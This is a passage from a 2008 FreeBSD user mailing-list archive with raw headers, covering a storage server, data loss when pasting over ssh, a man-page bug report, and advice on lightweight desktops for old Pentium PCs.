[IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 98EE08FC27 for ; Mon, 1 Dec 2008 09:07:52 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB197iCd007443; Mon, 1 Dec 2008 10:07:44 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB197iVX007440; Mon, 1 Dec 2008 10:07:44 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Mon, 1 Dec 2008 10:07:44 +0100 (CET) From: Wojciech Puchar To: Valentin Bud In-Reply-To: <139b44430812010106n78ba2e05r5cbffd36adde8311@mail.gmail.com> Message-ID: <20081201100726.Q7435@wojtek.tensor.gdynia.pl> References: <20081128194531.7B17FB7C5@kev.msw.wpafb.af.mil> <20081128212753.D6715@wojtek.tensor.gdynia.pl> <20081128215528.35F4BB7C5@kev.msw.wpafb.af.mil> <139b44430811300753o780763c8xf9b4821a837443a1@mail.gmail.com> <20081201013409.Y4805@wojtek.tensor.gdynia.pl> <139b44430812010106n78ba2e05r5cbffd36adde8311@mail.gmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: vogelke+software@pobox.com, freebsd-questions@freebsd.org Subject: Re: 5 TB server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 09:07:54 -0000 >>> Mb to ~ 7Mb). >> >> will it be majority of data??? > > About 40% of it. 50% adobe *.psd and the other 10% all sort of data. so make sense. but make sure you do regular backups. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 09:21:26 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 70BD51065675 for ; Mon, 1 Dec 2008 09:21:26 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: from mail-gx0-f61.google.com (mail-gx0-f61.google.com [209.85.217.61]) by mx1.freebsd.org (Postfix) with ESMTP id 999B68FC2D for ; Mon, 1 Dec 2008 09:21:25 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: by gxk21 with SMTP id 21so2970561gxk.27 for ; Mon, 01 Dec 2008 01:21:24 -0800 (PST) MIME-Version: 1.0 Received: by 10.151.41.21 with SMTP id t21mr28048ybj.27.1228123284823; Mon, 01 Dec 2008 01:21:24 -0800 (PST) Date: Mon, 1 Dec 2008 01:21:24 -0800 (PST) In-Reply-To: <7A98FEF9-AA2E-4860-A1BD-A15BD9CACA34@hughes.net> X-IP: 83.237.103.45 References: <7A98FEF9-AA2E-4860-A1BD-A15BD9CACA34@hughes.net> User-Agent: G2/1.0 X-HTTP-UserAgent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; ru-ru) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1, gzip(gfe), gzip(gfe) Message-ID: From: Eugene Pimenov To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: quoted-printable Subject: Re: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 09:21:26 -0000 On 1 =C4=C5=CB, 05:03, Chris wrote: > > I was curious about your situation and set up a couple of tests. Noting > you mentioned iTerm, I thought I might be able to recreate it on a Mac > (OS-X 10.4 with 1.4.3 (100) version Terminal, I had removed iTerm due > to unreliability sometime back). I've downloaded iTerm for this test. I'm using Apple's Terminal.app. > > I copied a 23094 byte program I was working on locally in MacVIM. I > first did > a cat >testfile then pasted through an ssh terminal.app connection > over satellite (very > bad connection) into a FreeBSD 7.0 box I built in the last month. At > the far end it received 23094 bytes. sftp of the file to the remote and > diff showed no differences. I then opened an ssh session to a FreeBSD > server > on my local lan and repeated with the same results. No problems. I believe that FreeBSD fetches all data. When I ssh back to my mac from FreeBSD, I recieve all data all the time. TCP should handle errors, so nothing surprising here. > > The problem does not appear to be obvious or common so there must be > something > unique about how this situation if you have reproduced it on two > different terminal programs using ssh that would work correctly to other > servers using the same shell and collection method (e.g. cat >blah). I tried zsh, sh, bash and my program on the freebsd box. > > Something missing here. Have you checked if you have > errors shown on the interface of the server? Are there losses if you > sftp > the files from your machine to the remote (Try pushing a 1.5 MB file and > see if that shows failures). Did you install something other than the > default > OpenSSH on the server? Do the text files have something other than text > in them or even control sequences for the remote? Just taking > potshots here. sftp doesn't lose data. Even cat file | ssh host 'cat >file' doesn't. Only pasting. It's 100% reproducible, I don't think it's some kind of side effect. $ netstat -I bge0 Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Coll bge0 1500 00:a0:d1:e3:fd:9c 55134708 0 48858321 0 0 (no errors) Terminal sessions: http://pastie.org/327615.txt?key=3Dopkxhrjptnh3lebyn8rjlq http://pastie.org/327617.txt?key=3Dgaznt1zmfi7usps74n2h5w I believe nothing strange was installed on the server... it's a typical freebsd web-server. > > A somewhat side note here, I would personally never think to move > files this > way since it's quite possible that content of files can disrupt the > stream. > I tend to use sftp. > I never do that for binary files. I use sftp either. However, when I need to change some source on a server, I already have an opened text editor with the file and a terminal, in that case cat >file is just quickier. BTW, thank you for your help, guys... From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 09:23:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A59651065673 for ; Mon, 1 Dec 2008 09:23:34 +0000 (UTC) (envelope-from theultramage@gmail.com) Received: from mail-gx0-f19.google.com (mail-gx0-f19.google.com [209.85.217.19]) by mx1.freebsd.org (Postfix) with ESMTP id 4C4D38FC14 for ; Mon, 1 Dec 2008 09:23:34 +0000 (UTC) (envelope-from theultramage@gmail.com) Received: by gxk12 with SMTP id 12so1102203gxk.19 for ; Mon, 01 Dec 2008 01:23:33 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type:content-transfer-encoding :content-disposition; bh=robZOAzXlqF8VtcZNLTSoxwF1UNmeRWODT3y/YK7x3I=; b=e92bQ+ga8L5+VdSsURWTNXXYEb0BTQgrGi5mkhxYIhA2bIsvfQXKwF41YkWuvlDfyJ JFvFtDdEHO/HfCUvdUbccAa5mx8Yfc+S2KX+3/IN39+8FAmsI9rglMcyQZ45lxUQSPSj gd8G2VxkJMZpvuizz1j946IMhdZlaYjFeBIoY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition; b=Iy/UVzaRPTiZU2iJXc8UE3SAF7bQ7LXCE1pVbgwTeQv6qYLgb2ml67FkTbyTMs1dPF HiAzdBjyOGznqbqCTjwlJXFfaSk2IfCtoEx8FEVy2YLvx6KWEuyh+3Shfyn8HWyUArmv 2RBj/22M9KXL4tSi/opUMe74DBbixCignLPQk= Received: by 10.142.187.8 with SMTP id k8mr4422641wff.261.1228121506037; Mon, 01 Dec 2008 00:51:46 -0800 (PST) Received: by 10.142.231.20 with HTTP; Mon, 1 Dec 2008 00:51:46 -0800 (PST) Message-ID: <890fa77e0812010051p2ab5c7cbv6e960124d699967b@mail.gmail.com> Date: Mon, 1 Dec 2008 09:51:46 +0100 From: "=?UTF-8?Q?Viktor_=C5=A0tujber?=" To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: documentation problem for times(3) man page X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 09:23:34 -0000 Hi. Half a year ago I started the following thread: http://lists.freebsd.org/pipermail/freebsd-questions/2008-April/172448.html. The subject was a documentation issue where a man page mismatched the actual system behavior. The issue is still present in 7.0-RELEASE and probably no action was taken since I submitted the report. I'd like to ask that someone acknowledge the issue and re-open http://www.freebsd.org/cgi/query-pr.cgi?pr=122359. Thank you. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 10:37:20 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 300CC106564A for ; Mon, 1 Dec 2008 10:37:20 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id E52FD8FC0C for ; Mon, 1 Dec 2008 10:37:19 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx01.qsc.de (Postfix) with ESMTP id 86A953CA78; Mon, 1 Dec 2008 11:37:05 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mB1Aawrk001515; Mon, 1 Dec 2008 11:36:59 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Mon, 1 Dec 2008 11:36:58 +0100 From: Polytropon To: "Harry Veltman" Message-Id: <20081201113658.b0264e2e.freebsd@edvax.de> In-Reply-To: <002701c9538a$10ff0330$005bfb48@harryveltman> References: <002701c9538a$10ff0330$005bfb48@harryveltman> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 10:37:20 -0000 On Sun, 30 Nov 2008 23:54:38 -0800, "Harry Veltman" wrote: > Which version and GUI will work best on the internet with my > AT Pentium II 350MHz x86-based PC? Allthough the FreeBSD base system gets better and faster in each version, the additional software and the GUI toolkits that belong to them eat up more and more ressources. Regarding the OS, you're be best off with the newest version of FreeBSD (version 7). This enables you to use the software that is present from the source tree of the ports collection or from the precompiled packages. Regarding GUI, I think you're talking about the window manager or desktop environment. It depends on your individual preferences and what / how / how much you're willing to learn. For example, I use WindowMaker as my window manager, but on slower systems, XFCE 3, Fluxbox, IceWM or even FVWM perform well and can be configured easily and according to your needs and preferences. On a system as you described it initially, you will need to build a system by your own in order to get best performance. When you did it correctly, you'll have an entirely good system - I know it, I have such an "oldie", too. :-) Then you need to choose your software (multimedia players, browser, mail client etc.), what you're going to use. Finally, it's a bit "trial and error", read: You'll have to test by yourself what fits your needs. There's nothing that is intended to fit per se. I can't answer your question regarding "Flash" and encryption; sadly, I never saw any need for this. -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 10:53:17 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 88CD81065670 for ; Mon, 1 Dec 2008 10:53:17 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 57F4E8FC0A for ; Mon, 1 Dec 2008 10:53:16 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 15DBAAFC1C6; Mon, 1 Dec 2008 01:53:16 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org, Polytropon Date: Mon, 1 Dec 2008 11:53:11 +0100 User-Agent: KMail/1.9.7 References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201113658.b0264e2e.freebsd@edvax.de> In-Reply-To: <20081201113658.b0264e2e.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> Cc: Harry Veltman Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 10:53:17 -0000 On Monday 01 December 2008 11:36:58 Polytropon wrote: > I can't answer your question regarding "Flash" and encryption; > sadly, I never saw any need for this. Even if you get the software to work (which is a project in itself), performance will be very very bad. My parents have a similar machine using windows and a flash 8+ that's not just an advertisement takes about a minute to load after downloading and does 8-10 fps if it's a movie. We have a few oldies, just installed KDE 3.5 on a: CPU: VIA Nehemiah (997.17-MHz 686-class CPU) Origin = "CentaurHauls" Id = 0x698 Stepping = 8 That's pretty much as low as I'd go for normal desktop usage. The machine you're describing, still makes for a good router or LAN resolver with low traffic webserving. Backup machine if disks are good. Getting a decent performing desktop on there is as Polytropon said, a project you'd do for fun, not cause you need a desktop. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 11:11:23 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DE7E11065678 for ; Mon, 1 Dec 2008 11:11:23 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id 992E18FC30 for ; Mon, 1 Dec 2008 11:11:23 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx01.qsc.de (Postfix) with ESMTP id 1D9BD3C9CB; Mon, 1 Dec 2008 12:11:14 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mB1BBDeu001611; Mon, 1 Dec 2008 12:11:13 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Mon, 1 Dec 2008 12:11:13 +0100 From: Polytropon To: Mel Message-Id: <20081201121113.23e67986.freebsd@edvax.de> In-Reply-To: <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201113658.b0264e2e.freebsd@edvax.de> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Harry Veltman , freebsd-questions@freebsd.org Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 11:11:23 -0000 On Mon, 1 Dec 2008 11:53:11 +0100, Mel wrote: > We have a few oldies, just installed KDE 3.5 on a: > CPU: VIA Nehemiah (997.17-MHz 686-class CPU) > Origin = "CentaurHauls" Id = 0x698 Stepping = 8 Oldie @ 1 GHz? You must be joking. I'd bite my hand off for such hardware. :-) > That's pretty much as low as I'd go for normal desktop usage. For KDE? Yes, I do understand that. I would not even think about trying KDE or Gnome on a 300 MHz box. But desktop usage != KDE. KDE = preconfigured desktop with many built-in functionalities. I think Gnome has gotten pretty much the same like KDE in terms of ressource consumption. (I can't tell for sure, I'm not using it on a daily basis.) What about XFCE 4? Maybe that would be a good point to start, unless of couse the toolkit is too heavy... > The machine > you're describing, still makes for a good router or LAN resolver with low > traffic webserving. I have such an "oldie", P2 300 MHz, 256 MB RAM, ATI graphics (it's a Compaq Deskpro), FreeBSD 5.4, XFCE 3, OpenOffice 1.1.5, custom kernel, mplayer (compiled), xmms, Opera 7, Sylpheed. I'm not lying: This machine performs better in some regards than my 2 GHz P4 with FreeBSD 7! Applications come up faster, screen output renders faster. And even things that don't work on my "fast" system (wine, screen resolution in X, duplex printing) work excellently there. I've got no explaination for this, but it's true. As a server most "oldies" are good if they run well. The point of energy consumption is worth mentioning. I have an experimental server here, it's a P1 150 MHz with 128 MB RAM. For learning purposes completely sufficient to me. > Backup machine if disks are good. Or backup server if added some exchangable media (tape / DVD-RAM), inexpensive solution for automated data backup. > Getting a decent performing desktop on there is as Polytropon said, a project > you'd do for fun, not cause you need a desktop. That's correct. But hey, you learn a lot by building such a system, and in the end, you have your "ultimate desktop" right fitting your needs - not what the developers of let's say KDE are convinced you're wanting. That's a lot of work, I know, but once you're done, you can dump / restore this system to other machines of that kind (eventually needing to change some settings). The final quality of the machine is a direct result from the work you will decide to put in it. If you just want to do "fast, fast", the machine will be sloooooowwwww... :-) -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 11:19:27 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8D3261065676 for ; Mon, 1 Dec 2008 11:19:27 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id D11928FC16 for ; Mon, 1 Dec 2008 11:19:26 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB1BJ6qS009532; Mon, 1 Dec 2008 12:19:06 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB1BJ6DV009529; Mon, 1 Dec 2008 12:19:06 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Mon, 1 Dec 2008 12:19:06 +0100 (CET) From: Wojciech Puchar To: Polytropon In-Reply-To: <20081201121113.23e67986.freebsd@edvax.de> Message-ID: <20081201121429.O9499@wojtek.tensor.gdynia.pl> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201113658.b0264e2e.freebsd@edvax.de> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> <20081201121113.23e67986.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Harry Veltman , Mel , freebsd-questions@freebsd.org Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 11:19:27 -0000 >> We have a few oldies, just installed KDE 3.5 on a: >> CPU: VIA Nehemiah (997.17-MHz 686-class CPU) >> Origin = "CentaurHauls" Id = 0x698 Stepping = 8 > > Oldie @ 1 GHz? You must be joking. I'd bite my hand off for > such hardware. :-) well most of machines i use are <1Ghz and <512MB RAM. no need for mor. >> That's pretty much as low as I'd go for normal desktop usage. > > For KDE? Yes, I do understand that. I would not even think about > trying KDE or Gnome on a 300 MHz box. But desktop usage != KDE. icewm is fast and good. just make your menu by hand. and EVERYTHING can be configured well. fvwm2 is my choice because even more things could be configured (read: removed) making my desktop usage more efficient. no matter if you have 100Mhz of quad 3Ghz computer, removing things that are not useful is good thing. for example not using bloatware like KDE or Gnome or even xfce. They LOOK cool, but are not productive. contrary to windoze, window manager, "desktop" managers, all bells and whistles are NOT integral part of FreeBSD. it's just programs like everything else. you have choice of what of them you run, or (like me) not at all. my second computer at home is pentium 133 with 128MB RAM running without swap. and it works fast. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 11:20:12 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0F9191065672 for ; Mon, 1 Dec 2008 11:20:12 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 067328FC2E for ; Mon, 1 Dec 2008 11:20:10 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB1BJo9i009548; Mon, 1 Dec 2008 12:19:50 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB1BJo7N009545; Mon, 1 Dec 2008 12:19:50 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Mon, 1 Dec 2008 12:19:50 +0100 (CET) From: Wojciech Puchar To: Mel In-Reply-To: <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> Message-ID: <20081201121925.X9499@wojtek.tensor.gdynia.pl> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201113658.b0264e2e.freebsd@edvax.de> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Harry Veltman , Polytropon , freebsd-questions@freebsd.org Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 11:20:12 -0000 > We have a few oldies, just installed KDE 3.5 on a: > CPU: VIA Nehemiah (997.17-MHz 686-class CPU) > Origin = "CentaurHauls" Id = 0x698 Stepping = 8 > > That's pretty much as low as I'd go for normal desktop usage. The machine > you're describing, still makes for a good router or LAN resolver with low KDE make them slow. it's fast machine. > traffic webserving. Backup machine if disks are good. for this pentium 100 is OK. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 11:26:48 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2A3AA1065670 for ; Mon, 1 Dec 2008 11:26:48 +0000 (UTC) (envelope-from beech@freebsd.org) Received: from bsdevel.alaskaparadise.com (bsdevel.alaskaparadise.com [208.86.224.193]) by mx1.freebsd.org (Postfix) with ESMTP id DBF3F8FC16 for ; Mon, 1 Dec 2008 11:26:47 +0000 (UTC) (envelope-from beech@freebsd.org) Received: from stargate.alaskaparadise.com (172-67-237-24.gci.net [24.237.67.172]) by bsdevel.alaskaparadise.com (Postfix) with ESMTP id 658A228E288D; Mon, 1 Dec 2008 11:26:47 +0000 (UTC) From: Beech Rintoul Organization: FreeBSD To: freebsd-questions@freebsd.org, Polytropon Date: Mon, 1 Dec 2008 02:26:46 -0900 User-Agent: KMail/1.10.1 (FreeBSD/8.0-CURRENT; KDE/4.1.1; i386; ; ) References: <002701c9538a$10ff0330$005bfb48@harryveltman> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> <20081201121113.23e67986.freebsd@edvax.de> In-Reply-To: <20081201121113.23e67986.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812010226.46883.beech@freebsd.org> Cc: Harry Veltman , Mel Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 11:26:48 -0000 On Monday 01 December 2008 02:11:13 Polytropon wrote: > On Mon, 1 Dec 2008 11:53:11 +0100, Mel wrote: > > We have a few oldies, just installed KDE 3.5 on a: > > CPU: VIA Nehemiah (997.17-MHz 686-class CPU) > > Origin = "CentaurHauls" Id = 0x698 Stepping = 8 > > Oldie @ 1 GHz? You must be joking. I'd bite my hand off for > such hardware. :-) > > > That's pretty much as low as I'd go for normal desktop usage. > > For KDE? Yes, I do understand that. I would not even think about > trying KDE or Gnome on a 300 MHz box. But desktop usage != KDE. > KDE = preconfigured desktop with many built-in functionalities. > I think Gnome has gotten pretty much the same like KDE in terms > of ressource consumption. (I can't tell for sure, I'm not using > it on a daily basis.) What about XFCE 4? Maybe that would be a > good point to start, unless of couse the toolkit is too heavy... > > > The machine > > you're describing, still makes for a good router or LAN resolver with low > > traffic webserving. > > I have such an "oldie", P2 300 MHz, 256 MB RAM, ATI graphics > (it's a Compaq Deskpro), FreeBSD 5.4, XFCE 3, OpenOffice 1.1.5, > custom kernel, mplayer (compiled), xmms, Opera 7, Sylpheed. > I'm not lying: This machine performs better in some regards > than my 2 GHz P4 with FreeBSD 7! Applications come up faster, > screen output renders faster. And even things that don't work > on my "fast" system (wine, screen resolution in X, duplex > printing) work excellently there. I've got no explaination > for this, but it's true. > > As a server most "oldies" are good if they run well. The point > of energy consumption is worth mentioning. I have an experimental > server here, it's a P1 150 MHz with 128 MB RAM. For learning > purposes completely sufficient to me. > > > Backup machine if disks are good. > > Or backup server if added some exchangable media (tape / DVD-RAM), > inexpensive solution for automated data backup. > > > Getting a decent performing desktop on there is as Polytropon said, a > > project you'd do for fun, not cause you need a desktop. > > That's correct. But hey, you learn a lot by building such a > system, and in the end, you have your "ultimate desktop" right > fitting your needs - not what the developers of let's say KDE > are convinced you're wanting. That's a lot of work, I know, > but once you're done, you can dump / restore this system to > other machines of that kind (eventually needing to change > some settings). > > > > The final quality of the machine is a direct result from the > work you will decide to put in it. If you just want to do > "fast, fast", the machine will be sloooooowwwww... :-) I was running KDE3 on a 750MHz box and it was really slow. I can't even imagine trying it on a 350MHz box. Stick to one of the simpler smaller apps if you need a desktop. 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X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 11:49:48 -0000 On Monday 01 December 2008 12:19:50 Wojciech Puchar wrote: > > We have a few oldies, just installed KDE 3.5 on a: > > CPU: VIA Nehemiah (997.17-MHz 686-class CPU) > > Origin = "CentaurHauls" Id = 0x698 Stepping = 8 > > > > That's pretty much as low as I'd go for normal desktop usage. The machine > > you're describing, still makes for a good router or LAN resolver with low > > KDE make them slow. it's fast machine. It's not about that. I'm not advertizing a certain desktop, I have a personal preference, and I don't feel compelled to convert the heathens to my works of salvation, nor to lie and say that I installed a blank Xorg so that minimalist think I'm cool. Today's desktop *applications* require a certain ammount of resources and since OP already stated to want flash 8 with highbit encryption, you will need firefox and bunch of gstreamer-*/gnome stuff or linux emulation and a lot of good fortune when going with pluginwrapper. This VIA does quite well with devel/skype and fc6 linux emulation, once it started up, tho I haven't tried conference calls and takes 20% cpu just idling. Sure - you can trim down the resources a window manager takes up (which is actually easy to do in KDE, as in XFCE), but it's the applications that want more memory, more power. Natural evolution of the computer age: give a programmer more power, means a user gets more features and a slower comp. I think FreeBSD 5 to 7 is the only software I've seen that actually got faster and not just advertised it ;) -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 11:54:33 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DAB1D1065670 for ; Mon, 1 Dec 2008 11:54:33 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 24E568FC12 for ; Mon, 1 Dec 2008 11:54:32 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB1BsBCA009687; Mon, 1 Dec 2008 12:54:11 